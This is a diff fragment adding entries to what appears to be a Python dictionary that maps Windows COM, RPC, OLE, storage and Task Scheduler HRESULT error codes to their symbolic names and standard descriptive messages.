+        0x8000401F: ("CO_E_CLSREG_INCONSISTENT", "The registration information for this server is inconsistent or incomplete."),
+        0x80004020: ("CO_E_IIDREG_INCONSISTENT", "The registration information for this interface is inconsistent or incomplete."),
+        0x80004021: ("CO_E_NOT_SUPPORTED", "The operation attempted is not supported."),
+        0x80004022: ("CO_E_RELOAD_DLL", "A DLL must be loaded."),
+        0x80004023: ("CO_E_MSI_ERROR", "A Microsoft Software Installer error was encountered."),
+        0x80004024: ("CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT", "The specified activation could not occur in the client context as specified."),
+        0x80004025: ("CO_E_SERVER_PAUSED", "Activations on the server are paused."),
+        0x80004026: ("CO_E_SERVER_NOT_PAUSED", "Activations on the server are not paused."),
+        0x80004027: ("CO_E_CLASS_DISABLED", "The component or application containing the component has been disabled."),
+        0x80004028: ("CO_E_CLRNOTAVAILABLE", "The common language runtime is not available."),
+        0x80004029: ("CO_E_ASYNC_WORK_REJECTED", "The thread-pool rejected the submitted asynchronous work."),
+        0x8000402A: ("CO_E_SERVER_INIT_TIMEOUT", "The server started, but it did not finish initializing in a timely fashion."),
+        0x8000402B: ("CO_E_NO_SECCTX_IN_ACTIVATE", "Unable to complete the call because there is no COM+ security context inside IObjectControl.Activate."),
+        0x80004030: ("CO_E_TRACKER_CONFIG", "The provided tracker configuration is invalid."),
+        0x80004031: ("CO_E_THREADPOOL_CONFIG", "The provided thread pool configuration is invalid."),
+        0x80004032: ("CO_E_SXS_CONFIG", "The provided side-by-side configuration is invalid."),
+        0x80004033: ("CO_E_MALFORMED_SPN", "The server principal name (SPN) obtained during security negotiation is malformed."),
+        0x8000FFFF: ("E_UNEXPECTED", "Catastrophic failure."),
+        0x80010001: ("RPC_E_CALL_REJECTED", "Call was rejected by callee."),
+        0x80010002: ("RPC_E_CALL_CANCELED", "Call was canceled by the message filter."),
+        0x80010003: ("RPC_E_CANTPOST_INSENDCALL", "The caller is dispatching an intertask SendMessage call and cannot call out via PostMessage."),
+        0x80010004: ("RPC_E_CANTCALLOUT_INASYNCCALL", "The caller is dispatching an asynchronous call and cannot make an outgoing call on behalf of this call."),
+        0x80010005: ("RPC_E_CANTCALLOUT_INEXTERNALCALL", "It is illegal to call out while inside message filter."),
+        0x80010006: ("RPC_E_CONNECTION_TERMINATED", "The connection terminated or is in a bogus state and can no longer be used. Other connections are still valid."),
+        0x80010007: ("RPC_E_SERVER_DIED", "The callee (the server, not the server application) is not available and disappeared; all connections are invalid. The call may have executed."),
+        0x80010008: ("RPC_E_CLIENT_DIED", "The caller (client) disappeared while the callee (server) was processing a call."),
+        0x80010009: ("RPC_E_INVALID_DATAPACKET", "The data packet with the marshaled parameter data is incorrect."),
+        0x8001000A: ("RPC_E_CANTTRANSMIT_CALL", "The call was not transmitted properly; the message queue was full and was not emptied after yielding."),
+        0x8001000B: ("RPC_E_CLIENT_CANTMARSHAL_DATA", "The client RPC caller cannot marshal the parameter data due to errors (such as low memory)."),
+        0x8001000C: ("RPC_E_CLIENT_CANTUNMARSHAL_DATA", "The client RPC caller cannot unmarshal the return data due to errors (such as low memory)."),
+        0x8001000D: ("RPC_E_SERVER_CANTMARSHAL_DATA", "The server RPC callee cannot marshal the return data due to errors (such as low memory)."),
+        0x8001000E: ("RPC_E_SERVER_CANTUNMARSHAL_DATA", "The server RPC callee cannot unmarshal the parameter data due to errors (such as low memory)."),
+        0x8001000F: ("RPC_E_INVALID_DATA", "Received data is invalid. The data may be server or client data."),
+        0x80010010: ("RPC_E_INVALID_PARAMETER", "A particular parameter is invalid and cannot be (un)marshaled."),
+        0x80010011: ("RPC_E_CANTCALLOUT_AGAIN", "There is no second outgoing call on same channel in DDE conversation."),
+        0x80010012: ("RPC_E_SERVER_DIED_DNE", "The callee (the server, not the server application) is not available and disappeared; all connections are invalid. The call did not execute."),
+        0x80010100: ("RPC_E_SYS_CALL_FAILED", "System call failed."),
+        0x80010101: ("RPC_E_OUT_OF_RESOURCES", "Could not allocate some required resource (such as memory or events)"),
+        0x80010102: ("RPC_E_ATTEMPTED_MULTITHREAD", "Attempted to make calls on more than one thread in single-threaded mode."),
+        0x80010103: ("RPC_E_NOT_REGISTERED", "The requested interface is not registered on the server object."),
+        0x80010104: ("RPC_E_FAULT", "RPC could not call the server or could not return the results of calling the server."),
+        0x80010105: ("RPC_E_SERVERFAULT", "The server threw an exception."),
+        0x80010106: ("RPC_E_CHANGED_MODE", "Cannot change thread mode after it is set."),
+        0x80010107: ("RPC_E_INVALIDMETHOD", "The method called does not exist on the server."),
+        0x80010108: ("RPC_E_DISCONNECTED", "The object invoked has disconnected from its clients."),
+        0x80010109: ("RPC_E_RETRY", "The object invoked chose not to process the call now. Try again later."),
+        0x8001010A: ("RPC_E_SERVERCALL_RETRYLATER", "The message filter indicated that the application is busy."),
+        0x8001010B: ("RPC_E_SERVERCALL_REJECTED", "The message filter rejected the call."),
+        0x8001010C: ("RPC_E_INVALID_CALLDATA", "A call control interface was called with invalid data."),
+        0x8001010D: ("RPC_E_CANTCALLOUT_ININPUTSYNCCALL", "An outgoing call cannot be made because the application is dispatching an input-synchronous call."),
+        0x8001010E: ("RPC_E_WRONG_THREAD", "The application called an interface that was marshaled for a different thread."),
+        0x8001010F: ("RPC_E_THREAD_NOT_INIT", "CoInitialize has not been called on the current thread."),
+        0x80010110: ("RPC_E_VERSION_MISMATCH", "The version of OLE on the client and server machines does not match."),
+        0x80010111: ("RPC_E_INVALID_HEADER", "OLE received a packet with an invalid header."),
+        0x80010112: ("RPC_E_INVALID_EXTENSION", "OLE received a packet with an invalid extension."),
+        0x80010113: ("RPC_E_INVALID_IPID", "The requested object or interface does not exist."),
+        0x80010114: ("RPC_E_INVALID_OBJECT", "The requested object does not exist."),
+        0x80010115: ("RPC_S_CALLPENDING", "OLE has sent a request and is waiting for a reply."),
+        0x80010116: ("RPC_S_WAITONTIMER", "OLE is waiting before retrying a request."),
+        0x80010117: ("RPC_E_CALL_COMPLETE", "Call context cannot be accessed after call completed."),
+        0x80010118: ("RPC_E_UNSECURE_CALL", "Impersonate on unsecure calls is not supported."),
+        0x80010119: ("RPC_E_TOO_LATE", "Security must be initialized before any interfaces are marshaled or unmarshaled. It cannot be changed after initialized."),
+        0x8001011A: ("RPC_E_NO_GOOD_SECURITY_PACKAGES", "No security packages are installed on this machine, the user is not logged on, or there are no compatible security packages between the client and server."),
+        0x8001011B: ("RPC_E_ACCESS_DENIED", "Access is denied."),
+        0x8001011C: ("RPC_E_REMOTE_DISABLED", "Remote calls are not allowed for this process."),
+        0x8001011D: ("RPC_E_INVALID_OBJREF", "The marshaled interface data packet (OBJREF) has an invalid or unknown format."),
+        0x8001011E: ("RPC_E_NO_CONTEXT", "No context is associated with this call. This happens for some custom marshaled calls and on the client side of the call."),
+        0x8001011F: ("RPC_E_TIMEOUT", "This operation returned because the time-out period expired."),
+        0x80010120: ("RPC_E_NO_SYNC", "There are no synchronize objects to wait on."),
+        0x80010121: ("RPC_E_FULLSIC_REQUIRED", "Full subject issuer chain Secure Sockets Layer (SSL) principal name expected from the server."),
+        0x80010122: ("RPC_E_INVALID_STD_NAME", "Principal name is not a valid Microsoft standard (msstd) name."),
+        0x80010123: ("CO_E_FAILEDTOIMPERSONATE", "Unable to impersonate DCOM client."),
+        0x80010124: ("CO_E_FAILEDTOGETSECCTX", "Unable to obtain server's security context."),
+        0x80010125: ("CO_E_FAILEDTOOPENTHREADTOKEN", "Unable to open the access token of the current thread."),
+        0x80010126: ("CO_E_FAILEDTOGETTOKENINFO", "Unable to obtain user information from an access token."),
+        0x80010127: ("CO_E_TRUSTEEDOESNTMATCHCLIENT", "The client who called IAccessControl::IsAccessPermitted was not the trustee provided to the method."),
+        0x80010128: ("CO_E_FAILEDTOQUERYCLIENTBLANKET", "Unable to obtain the client's security blanket."),
+        0x80010129: ("CO_E_FAILEDTOSETDACL", "Unable to set a discretionary access control list (ACL) into a security descriptor."),
+        0x8001012A: ("CO_E_ACCESSCHECKFAILED", "The system function AccessCheck returned false."),
+        0x8001012B: ("CO_E_NETACCESSAPIFAILED", "Either NetAccessDel or NetAccessAdd returned an error code."),
+        0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\\<Name> syntax and it was not the *\" string\"."),
+        0x8001012D: ("CO_E_INVALIDSID", "One of the security identifiers provided by the user was invalid."),
+        0x8001012E: ("CO_E_CONVERSIONFAILED", "Unable to convert a wide character trustee string to a multiple-byte trustee string."),
+        0x8001012F: ("CO_E_NOMATCHINGSIDFOUND", "Unable to find a security identifier that corresponds to a trustee string provided by the user."),
+        0x80010130: ("CO_E_LOOKUPACCSIDFAILED", "The system function LookupAccountSID failed."),
+        0x80010131: ("CO_E_NOMATCHINGNAMEFOUND", "Unable to find a trustee name that corresponds to a security identifier provided by the user."),
+        0x80010132: ("CO_E_LOOKUPACCNAMEFAILED", "The system function LookupAccountName failed."),
+        0x80010133: ("CO_E_SETSERLHNDLFAILED", "Unable to set or reset a serialization handle."),
+        0x80010134: ("CO_E_FAILEDTOGETWINDIR", "Unable to obtain the Windows directory."),
+        0x80010135: ("CO_E_PATHTOOLONG", "Path too long."),
+        0x80010136: ("CO_E_FAILEDTOGENUUID", "Unable to generate a UUID."),
+        0x80010137: ("CO_E_FAILEDTOCREATEFILE", "Unable to create file."),
+        0x80010138: ("CO_E_FAILEDTOCLOSEHANDLE", "Unable to close a serialization handle or a file handle."),
+        0x80010139: ("CO_E_EXCEEDSYSACLLIMIT", "The number of access control entries (ACEs) in an ACL exceeds the system limit."),
+        0x8001013A: ("CO_E_ACESINWRONGORDER", "Not all the DENY_ACCESS ACEs are arranged in front of the GRANT_ACCESS ACEs in the stream."),
+        0x8001013B: ("CO_E_INCOMPATIBLESTREAMVERSION", "The version of ACL format in the stream is not supported by this implementation of IAccessControl."),
+        0x8001013C: ("CO_E_FAILEDTOOPENPROCESSTOKEN", "Unable to open the access token of the server process."),
+        0x8001013D: ("CO_E_DECODEFAILED", "Unable to decode the ACL in the stream provided by the user."),
+        0x8001013F: ("CO_E_ACNOTINITIALIZED", "The COM IAccessControl object is not initialized."),
+        0x80010140: ("CO_E_CANCEL_DISABLED", "Call Cancellation is disabled."),
+        0x8001FFFF: ("RPC_E_UNEXPECTED", "An internal error occurred."),
+        0x80020001: ("DISP_E_UNKNOWNINTERFACE", "Unknown interface."),
+        0x80020003: ("DISP_E_MEMBERNOTFOUND", "Member not found."),
+        0x80020004: ("DISP_E_PARAMNOTFOUND", "Parameter not found."),
+        0x80020005: ("DISP_E_TYPEMISMATCH", "Type mismatch."),
+        0x80020006: ("DISP_E_UNKNOWNNAME", "Unknown name."),
+        0x80020007: ("DISP_E_NONAMEDARGS", "No named arguments."),
+        0x80020008: ("DISP_E_BADVARTYPE", "Bad variable type."),
+        0x80020009: ("DISP_E_EXCEPTION", "Exception occurred."),
+        0x8002000A: ("DISP_E_OVERFLOW", "Out of present range."),
+        0x8002000B: ("DISP_E_BADINDEX", "Invalid index."),
+        0x8002000C: ("DISP_E_UNKNOWNLCID", "Unknown language."),
+        0x8002000D: ("DISP_E_ARRAYISLOCKED", "Memory is locked."),
+        0x8002000E: ("DISP_E_BADPARAMCOUNT", "Invalid number of parameters."),
+        0x8002000F: ("DISP_E_PARAMNOTOPTIONAL", "Parameter not optional."),
+        0x80020010: ("DISP_E_BADCALLEE", "Invalid callee."),
+        0x80020011: ("DISP_E_NOTACOLLECTION", "Does not support a collection."),
+        0x80020012: ("DISP_E_DIVBYZERO", "Division by zero."),
+        0x80020013: ("DISP_E_BUFFERTOOSMALL", "Buffer too small."),
+        0x80028016: ("TYPE_E_BUFFERTOOSMALL", "Buffer too small."),
+        0x80028017: ("TYPE_E_FIELDNOTFOUND", "Field name not defined in the record."),
+        0x80028018: ("TYPE_E_INVDATAREAD", "Old format or invalid type library."),
+        0x80028019: ("TYPE_E_UNSUPFORMAT", "Old format or invalid type library."),
+        0x8002801C: ("TYPE_E_REGISTRYACCESS", "Error accessing the OLE registry."),
+        0x8002801D: ("TYPE_E_LIBNOTREGISTERED", "Library not registered."),
+        0x80028027: ("TYPE_E_UNDEFINEDTYPE", "Bound to unknown type."),
+        0x80028028: ("TYPE_E_QUALIFIEDNAMEDISALLOWED", "Qualified name disallowed."),
+        0x80028029: ("TYPE_E_INVALIDSTATE", "Invalid forward reference, or reference to uncompiled type."),
+        0x8002802A: ("TYPE_E_WRONGTYPEKIND", "Type mismatch."),
+        0x8002802B: ("TYPE_E_ELEMENTNOTFOUND", "Element not found."),
+        0x8002802C: ("TYPE_E_AMBIGUOUSNAME", "Ambiguous name."),
+        0x8002802D: ("TYPE_E_NAMECONFLICT", "Name already exists in the library."),
+        0x8002802E: ("TYPE_E_UNKNOWNLCID", "Unknown language code identifier (LCID)."),
+        0x8002802F: ("TYPE_E_DLLFUNCTIONNOTFOUND", "Function not defined in specified DLL."),
+        0x800288BD: ("TYPE_E_BADMODULEKIND", "Wrong module kind for the operation."),
+        0x800288C5: ("TYPE_E_SIZETOOBIG", "Size may not exceed 64 KB."),
+        0x800288C6: ("TYPE_E_DUPLICATEID", "Duplicate ID in inheritance hierarchy."),
+        0x800288CF: ("TYPE_E_INVALIDID", "Incorrect inheritance depth in standard OLE hmember."),
+        0x80028CA0: ("TYPE_E_TYPEMISMATCH", "Type mismatch."),
+        0x80028CA1: ("TYPE_E_OUTOFBOUNDS", "Invalid number of arguments."),
+        0x80028CA2: ("TYPE_E_IOERROR", "I/O error."),
+        0x80028CA3: ("TYPE_E_CANTCREATETMPFILE", "Error creating unique .tmp file."),
+        0x80029C4A: ("TYPE_E_CANTLOADLIBRARY", "Error loading type library or DLL."),
+        0x80029C83: ("TYPE_E_INCONSISTENTPROPFUNCS", "Inconsistent property functions."),
+        0x80029C84: ("TYPE_E_CIRCULARTYPE", "Circular dependency between types and modules."),
+        0x80030001: ("STG_E_INVALIDFUNCTION", "Unable to perform requested operation."),
+        0x80030002: ("STG_E_FILENOTFOUND", "%1 could not be found."),
+        0x80030003: ("STG_E_PATHNOTFOUND", "The path %1 could not be found."),
+        0x80030004: ("STG_E_TOOMANYOPENFILES", "There are insufficient resources to open another file."),
+        0x80030005: ("STG_E_ACCESSDENIED", "Access denied."),
+        0x80030006: ("STG_E_INVALIDHANDLE", "Attempted an operation on an invalid object."),
+        0x80030008: ("STG_E_INSUFFICIENTMEMORY", "There is insufficient memory available to complete operation."),
+        0x80030009: ("STG_E_INVALIDPOINTER", "Invalid pointer error."),
+        0x80030012: ("STG_E_NOMOREFILES", "There are no more entries to return."),
+        0x80030013: ("STG_E_DISKISWRITEPROTECTED", "Disk is write-protected."),
+        0x80030019: ("STG_E_SEEKERROR", "An error occurred during a seek operation."),
+        0x8003001D: ("STG_E_WRITEFAULT", "A disk error occurred during a write operation."),
+        0x8003001E: ("STG_E_READFAULT", "A disk error occurred during a read operation."),
+        0x80030020: ("STG_E_SHAREVIOLATION", "A share violation has occurred."),
+        0x80030021: ("STG_E_LOCKVIOLATION", "A lock violation has occurred."),
+        0x80030050: ("STG_E_FILEALREADYEXISTS", "%1 already exists."),
+        0x80030057: ("STG_E_INVALIDPARAMETER", "Invalid parameter error."),
+        0x80030070: ("STG_E_MEDIUMFULL", "There is insufficient disk space to complete operation."),
+        0x800300F0: ("STG_E_PROPSETMISMATCHED", "Illegal write of non-simple property to simple property set."),
+        0x800300FA: ("STG_E_ABNORMALAPIEXIT", "An application programming interface (API) call exited abnormally."),
+        0x800300FB: ("STG_E_INVALIDHEADER", "The file %1 is not a valid compound file."),
+        0x800300FC: ("STG_E_INVALIDNAME", "The name %1 is not valid."),
+        0x800300FD: ("STG_E_UNKNOWN", "An unexpected error occurred."),
+        0x800300FE: ("STG_E_UNIMPLEMENTEDFUNCTION", "That function is not implemented."),
+        0x800300FF: ("STG_E_INVALIDFLAG", "Invalid flag error."),
+        0x80030100: ("STG_E_INUSE", "Attempted to use an object that is busy."),
+        0x80030101: ("STG_E_NOTCURRENT", "The storage has been changed since the last commit."),
+        0x80030102: ("STG_E_REVERTED", "Attempted to use an object that has ceased to exist."),
+        0x80030103: ("STG_E_CANTSAVE", "Cannot save."),
+        0x80030104: ("STG_E_OLDFORMAT", "The compound file %1 was produced with an incompatible version of storage."),
+        0x80030105: ("STG_E_OLDDLL", "The compound file %1 was produced with a newer version of storage."),
+        0x80030106: ("STG_E_SHAREREQUIRED", "Share.exe or equivalent is required for operation."),
+        0x80030107: ("STG_E_NOTFILEBASEDSTORAGE", "Illegal operation called on non-file based storage."),
+        0x80030108: ("STG_E_EXTANTMARSHALLINGS", "Illegal operation called on object with extant marshalings."),
+        0x80030109: ("STG_E_DOCFILECORRUPT", "The docfile has been corrupted."),
+        0x80030110: ("STG_E_BADBASEADDRESS", "OLE32.DLL has been loaded at the wrong address."),
+        0x80030111: ("STG_E_DOCFILETOOLARGE", "The compound file is too large for the current implementation."),
+        0x80030112: ("STG_E_NOTSIMPLEFORMAT", "The compound file was not created with the STGM_SIMPLE flag."),
+        0x80030201: ("STG_E_INCOMPLETE", "The file download was aborted abnormally. The file is incomplete."),
+        0x80030202: ("STG_E_TERMINATED", "The file download has been terminated."),
+        0x80030305: ("STG_E_STATUS_COPY_PROTECTION_FAILURE", "Generic Copy Protection Error."),
+        0x80030306: ("STG_E_CSS_AUTHENTICATION_FAILURE", "Copy Protection Error-DVD CSS Authentication failed."),
+        0x80030307: ("STG_E_CSS_KEY_NOT_PRESENT", "Copy Protection Error-The given sector does not have a valid CSS key."),
+        0x80030308: ("STG_E_CSS_KEY_NOT_ESTABLISHED", "Copy Protection Error-DVD session key not established."),
+        0x80030309: ("STG_E_CSS_SCRAMBLED_SECTOR", "Copy Protection Error-The read failed because the sector is encrypted."),
+        0x8003030A: ("STG_E_CSS_REGION_MISMATCH", "Copy Protection Error-The current DVD's region does not correspond to the region setting of the drive."),
+        0x8003030B: ("STG_E_RESETS_EXHAUSTED", "Copy Protection Error-The drive's region setting may be permanent or the number of user resets has been exhausted."),
+        0x80040000: ("OLE_E_OLEVERB", "Invalid OLEVERB structure."),
+        0x80040001: ("OLE_E_ADVF", "Invalid advise flags."),
+        0x80040002: ("OLE_E_ENUM_NOMORE", "Cannot enumerate any more because the associated data is missing."),
+        0x80040003: ("OLE_E_ADVISENOTSUPPORTED", "This implementation does not take advises."),
+        0x80040004: ("OLE_E_NOCONNECTION", "There is no connection for this connection ID."),
+        0x80040005: ("OLE_E_NOTRUNNING", "Need to run the object to perform this operation."),
+        0x80040006: ("OLE_E_NOCACHE", "There is no cache to operate on."),
+        0x80040007: ("OLE_E_BLANK", "Uninitialized object."),
+        0x80040008: ("OLE_E_CLASSDIFF", "Linked object's source class has changed."),
+        0x80040009: ("OLE_E_CANT_GETMONIKER", "Not able to get the moniker of the object."),
+        0x8004000A: ("OLE_E_CANT_BINDTOSOURCE", "Not able to bind to the source."),
+        0x8004000B: ("OLE_E_STATIC", "Object is static; operation not allowed."),
+        0x8004000C: ("OLE_E_PROMPTSAVECANCELLED", "User canceled out of the Save dialog box."),
+        0x8004000D: ("OLE_E_INVALIDRECT", "Invalid rectangle."),
+        0x8004000E: ("OLE_E_WRONGCOMPOBJ", "compobj.dll is too old for the ole2.dll initialized."),
+        0x8004000F: ("OLE_E_INVALIDHWND", "Invalid window handle."),
+        0x80040010: ("OLE_E_NOT_INPLACEACTIVE", "Object is not in any of the inplace active states."),
+        0x80040011: ("OLE_E_CANTCONVERT", "Not able to convert object."),
+        0x80040012: ("OLE_E_NOSTORAGE", "Not able to perform the operation because object is not given storage yet."),
+        0x80040064: ("DV_E_FORMATETC", "Invalid FORMATETC structure."),
+        0x80040065: ("DV_E_DVTARGETDEVICE", "Invalid DVTARGETDEVICE structure."),
+        0x80040066: ("DV_E_STGMEDIUM", "Invalid STDGMEDIUM structure."),
+        0x80040067: ("DV_E_STATDATA", "Invalid STATDATA structure."),
+        0x80040068: ("DV_E_LINDEX", "Invalid lindex."),
+        0x80040069: ("DV_E_TYMED", "Invalid TYMED structure."),
+        0x8004006A: ("DV_E_CLIPFORMAT", "Invalid clipboard format."),
+        0x8004006B: ("DV_E_DVASPECT", "Invalid aspects."),
+        0x8004006C: ("DV_E_DVTARGETDEVICE_SIZE", "The tdSize parameter of the DVTARGETDEVICE structure is invalid."),
+        0x8004006D: ("DV_E_NOIVIEWOBJECT", "Object does not support IViewObject interface."),
+        0x80040100: ("DRAGDROP_E_NOTREGISTERED", "Trying to revoke a drop target that has not been registered."),
+        0x80040101: ("DRAGDROP_E_ALREADYREGISTERED", "This window has already been registered as a drop target."),
+        0x80040102: ("DRAGDROP_E_INVALIDHWND", "Invalid window handle."),
+        0x80040110: ("CLASS_E_NOAGGREGATION", "Class does not support aggregation (or class object is remote)."),
+        0x80040111: ("CLASS_E_CLASSNOTAVAILABLE", "ClassFactory cannot supply requested class."),
+        0x80040112: ("CLASS_E_NOTLICENSED", "Class is not licensed for use."),
+        0x80040140: ("VIEW_E_DRAW", "Error drawing view."),
+        0x80040150: ("REGDB_E_READREGDB", "Could not read key from registry."),
+        0x80040151: ("REGDB_E_WRITEREGDB", "Could not write key to registry."),
+        0x80040152: ("REGDB_E_KEYMISSING", "Could not find the key in the registry."),
+        0x80040153: ("REGDB_E_INVALIDVALUE", "Invalid value for registry."),
+        0x80040154: ("REGDB_E_CLASSNOTREG", "Class not registered."),
+        0x80040155: ("REGDB_E_IIDNOTREG", "Interface not registered."),
+        0x80040156: ("REGDB_E_BADTHREADINGMODEL", "Threading model entry is not valid."),
+        0x80040160: ("CAT_E_CATIDNOEXIST", "CATID does not exist."),
+        0x80040161: ("CAT_E_NODESCRIPTION", "Description not found."),
+        0x80040164: ("CS_E_PACKAGE_NOTFOUND", "No package in the software installation data in Active Directory meets this criteria."),
+        0x80040165: ("CS_E_NOT_DELETABLE", "Deleting this will break the referential integrity of the software installation data in Active Directory."),
+        0x80040166: ("CS_E_CLASS_NOTFOUND", "The CLSID was not found in the software installation data in Active Directory."),
+        0x80040167: ("CS_E_INVALID_VERSION", "The software installation data in Active Directory is corrupt."),
+        0x80040168: ("CS_E_NO_CLASSSTORE", "There is no software installation data in Active Directory."),
+        0x80040169: ("CS_E_OBJECT_NOTFOUND", "There is no software installation data object in Active Directory."),
+        0x8004016A: ("CS_E_OBJECT_ALREADY_EXISTS", "The software installation data object in Active Directory already exists."),
+        0x8004016B: ("CS_E_INVALID_PATH", "The path to the software installation data in Active Directory is not correct."),
+        0x8004016C: ("CS_E_NETWORK_ERROR", "A network error interrupted the operation."),
+        0x8004016D: ("CS_E_ADMIN_LIMIT_EXCEEDED", "The size of this object exceeds the maximum size set by the administrator."),
+        0x8004016E: ("CS_E_SCHEMA_MISMATCH", "The schema for the software installation data in Active Directory does not match the required schema."),
+        0x8004016F: ("CS_E_INTERNAL_ERROR", "An error occurred in the software installation data in Active Directory."),
+        0x80040170: ("CACHE_E_NOCACHE_UPDATED", "Cache not updated."),
+        0x80040180: ("OLEOBJ_E_NOVERBS", "No verbs for OLE object."),
+        0x80040181: ("OLEOBJ_E_INVALIDVERB", "Invalid verb for OLE object."),
+        0x800401A0: ("INPLACE_E_NOTUNDOABLE", "Undo is not available."),
+        0x800401A1: ("INPLACE_E_NOTOOLSPACE", "Space for tools is not available."),
+        0x800401C0: ("CONVERT10_E_OLESTREAM_GET", "OLESTREAM Get method failed."),
+        0x800401C1: ("CONVERT10_E_OLESTREAM_PUT", "OLESTREAM Put method failed."),
+        0x800401C2: ("CONVERT10_E_OLESTREAM_FMT", "Contents of the OLESTREAM not in correct format."),
+        0x800401C3: ("CONVERT10_E_OLESTREAM_BITMAP_TO_DIB", "There was an error in a Windows GDI call while converting the bitmap to a device-independent bitmap (DIB)."),
+        0x800401C4: ("CONVERT10_E_STG_FMT", "Contents of the IStorage not in correct format."),
+        0x800401C5: ("CONVERT10_E_STG_NO_STD_STREAM", "Contents of IStorage is missing one of the standard streams."),
+        0x800401C6: ("CONVERT10_E_STG_DIB_TO_BITMAP", "There was an error in a Windows Graphics Device Interface (GDI) call while converting the DIB to a bitmap."),
+        0x800401D0: ("CLIPBRD_E_CANT_OPEN", "OpenClipboard failed."),
+        0x800401D1: ("CLIPBRD_E_CANT_EMPTY", "EmptyClipboard failed."),
+        0x800401D2: ("CLIPBRD_E_CANT_SET", "SetClipboard failed."),
+        0x800401D3: ("CLIPBRD_E_BAD_DATA", "Data on clipboard is invalid."),
+        0x800401D4: ("CLIPBRD_E_CANT_CLOSE", "CloseClipboard failed."),
+        0x800401E0: ("MK_E_CONNECTMANUALLY", "Moniker needs to be connected manually."),
+        0x800401E1: ("MK_E_EXCEEDEDDEADLINE", "Operation exceeded deadline."),
+        0x800401E2: ("MK_E_NEEDGENERIC", "Moniker needs to be generic."),
+        0x800401E3: ("MK_E_UNAVAILABLE", "Operation unavailable."),
+        0x800401E4: ("MK_E_SYNTAX", "Invalid syntax."),
+        0x800401E5: ("MK_E_NOOBJECT", "No object for moniker."),
+        0x800401E6: ("MK_E_INVALIDEXTENSION", "Bad extension for file."),
+        0x800401E7: ("MK_E_INTERMEDIATEINTERFACENOTSUPPORTED", "Intermediate operation failed."),
+        0x800401E8: ("MK_E_NOTBINDABLE", "Moniker is not bindable."),
+        0x800401E9: ("MK_E_NOTBOUND", "Moniker is not bound."),
+        0x800401EA: ("MK_E_CANTOPENFILE", "Moniker cannot open file."),
+        0x800401EB: ("MK_E_MUSTBOTHERUSER", "User input required for operation to succeed."),
+        0x800401EC: ("MK_E_NOINVERSE", "Moniker class has no inverse."),
+        0x800401ED: ("MK_E_NOSTORAGE", "Moniker does not refer to storage."),
+        0x800401EE: ("MK_E_NOPREFIX", "No common prefix."),
+        0x800401EF: ("MK_E_ENUMERATION_FAILED", "Moniker could not be enumerated."),
+        0x800401F0: ("CO_E_NOTINITIALIZED", "CoInitialize has not been called."),
+        0x800401F1: ("CO_E_ALREADYINITIALIZED", "CoInitialize has already been called."),
+        0x800401F2: ("CO_E_CANTDETERMINECLASS", "Class of object cannot be determined."),
+        0x800401F3: ("CO_E_CLASSSTRING", "Invalid class string."),
+        0x800401F4: ("CO_E_IIDSTRING", "Invalid interface string."),
+        0x800401F5: ("CO_E_APPNOTFOUND", "Application not found."),
+        0x800401F6: ("CO_E_APPSINGLEUSE", "Application cannot be run more than once."),
+        0x800401F7: ("CO_E_ERRORINAPP", "Some error in application."),
+        0x800401F8: ("CO_E_DLLNOTFOUND", "DLL for class not found."),
+        0x800401F9: ("CO_E_ERRORINDLL", "Error in the DLL."),
+        0x800401FA: ("CO_E_WRONGOSFORAPP", "Wrong operating system or operating system version for application."),
+        0x800401FB: ("CO_E_OBJNOTREG", "Object is not registered."),
+        0x800401FC: ("CO_E_OBJISREG", "Object is already registered."),
+        0x800401FD: ("CO_E_OBJNOTCONNECTED", "Object is not connected to server."),
+        0x800401FE: ("CO_E_APPDIDNTREG", "Application was launched, but it did not register a class factory."),
+        0x800401FF: ("CO_E_RELEASED", "Object has been released."),
+        0x80040201: ("EVENT_E_ALL_SUBSCRIBERS_FAILED", "An event was unable to invoke any of the subscribers."),
+        0x80040203: ("EVENT_E_QUERYSYNTAX", "A syntax error occurred trying to evaluate a query string."),
+        0x80040204: ("EVENT_E_QUERYFIELD", "An invalid field name was used in a query string."),
+        0x80040205: ("EVENT_E_INTERNALEXCEPTION", "An unexpected exception was raised."),
+        0x80040206: ("EVENT_E_INTERNALERROR", "An unexpected internal error was detected."),
+        0x80040207: ("EVENT_E_INVALID_PER_USER_SID", "The owner security identifier (SID) on a per-user subscription does not exist."),
+        0x80040208: ("EVENT_E_USER_EXCEPTION", "A user-supplied component or subscriber raised an exception."),
+        0x80040209: ("EVENT_E_TOO_MANY_METHODS", "An interface has too many methods to fire events from."),
+        0x8004020A: ("EVENT_E_MISSING_EVENTCLASS", "A subscription cannot be stored unless its event class already exists."),
+        0x8004020B: ("EVENT_E_NOT_ALL_REMOVED", "Not all the objects requested could be removed."),
+        0x8004020C: ("EVENT_E_COMPLUS_NOT_INSTALLED", "COM+ is required for this operation, but it is not installed."),
+        0x8004020D: ("EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT", "Cannot modify or delete an object that was not added using the COM+ Administrative SDK."),
+        0x8004020E: ("EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT", "Cannot modify or delete an object that was added using the COM+ Administrative SDK."),
+        0x8004020F: ("EVENT_E_INVALID_EVENT_CLASS_PARTITION", "The event class for this subscription is in an invalid partition."),
+        0x80040210: ("EVENT_E_PER_USER_SID_NOT_LOGGED_ON", "The owner of the PerUser subscription is not logged on to the system specified."),
+        0x80041309: ("SCHED_E_TRIGGER_NOT_FOUND", "Trigger not found."),
+        0x8004130A: ("SCHED_E_TASK_NOT_READY", "One or more of the properties that are needed to run this task have not been set."),
+        0x8004130B: ("SCHED_E_TASK_NOT_RUNNING", "There is no running instance of the task."),
+        0x8004130C: ("SCHED_E_SERVICE_NOT_INSTALLED", "The Task Scheduler service is not installed on this computer."),
+        0x8004130D: ("SCHED_E_CANNOT_OPEN_TASK", "The task object could not be opened."),
+        0x8004130E: ("SCHED_E_INVALID_TASK", "The object is either an invalid task object or is not a task object."),
+        0x8004130F: ("SCHED_E_ACCOUNT_INFORMATION_NOT_SET", "No account information could be found in the Task Scheduler security database for the task indicated."),
+        0x80041310: ("SCHED_E_ACCOUNT_NAME_NOT_FOUND", "Unable to establish existence of the account specified."),
+        0x80041311: ("SCHED_E_ACCOUNT_DBASE_CORRUPT", "Corruption was detected in the Task Scheduler security database; the database has been reset."),
